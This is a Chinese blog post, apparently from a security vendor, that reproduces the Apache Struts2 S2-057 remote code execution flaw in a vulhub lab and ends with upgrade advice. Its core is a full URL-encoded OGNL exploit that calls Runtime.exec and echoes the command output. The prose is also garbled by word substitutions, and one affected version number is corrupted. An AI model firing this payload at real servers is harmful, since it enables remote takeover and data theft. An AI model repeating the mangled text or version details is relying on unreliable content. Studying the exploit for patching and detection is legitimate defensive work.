网站安全加固之apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现

S2-057漏洞，于2018年8月22日被曝出，该Struts2 057漏洞存在远程执行系统的命令，尤为使用linux系统，apache环境，影响范围较大，危害性较高，若是被攻击者利用直接提权到服务器管理员权限，网站数据被篡改，数据库被盗取都会发生。

目前咱们SINE安全对该S2-057漏洞的测试，发现受影响的版本是Apache Struts 2.3–ApacheStruts2.3.3四、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的对该S2-057漏洞进行了修复。

经过国外曝出来的漏洞poc，咱们来介绍下Struts2漏洞该如何的利用：

S2-057漏洞产生于网站配置xml的时候，有一个namespace的值，该值并无作详细的安全过滤致使能够写入到XML上，尤为url标签值也没有作通配符的过滤，致使能够执行远程代码，以及系统命令到服务器系统中去。

咱们首先来搭建下struts2的环境，找一台windows服务器，使用一键部署工具部署好测试环境，vulhub环境也搭建好以下图：

接下来就是Struts2漏洞的利用与复现过程：

访问网站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action

将${(sine+sine)}里的内容换成exp，EXP内容以下：

%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action

复制exp内容到浏览器执行，发现服务器会直接运行计算器以下图：

S2-057漏洞修复建议：

升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17，直接升级便可官方已经作好漏洞补丁，彻底兼容。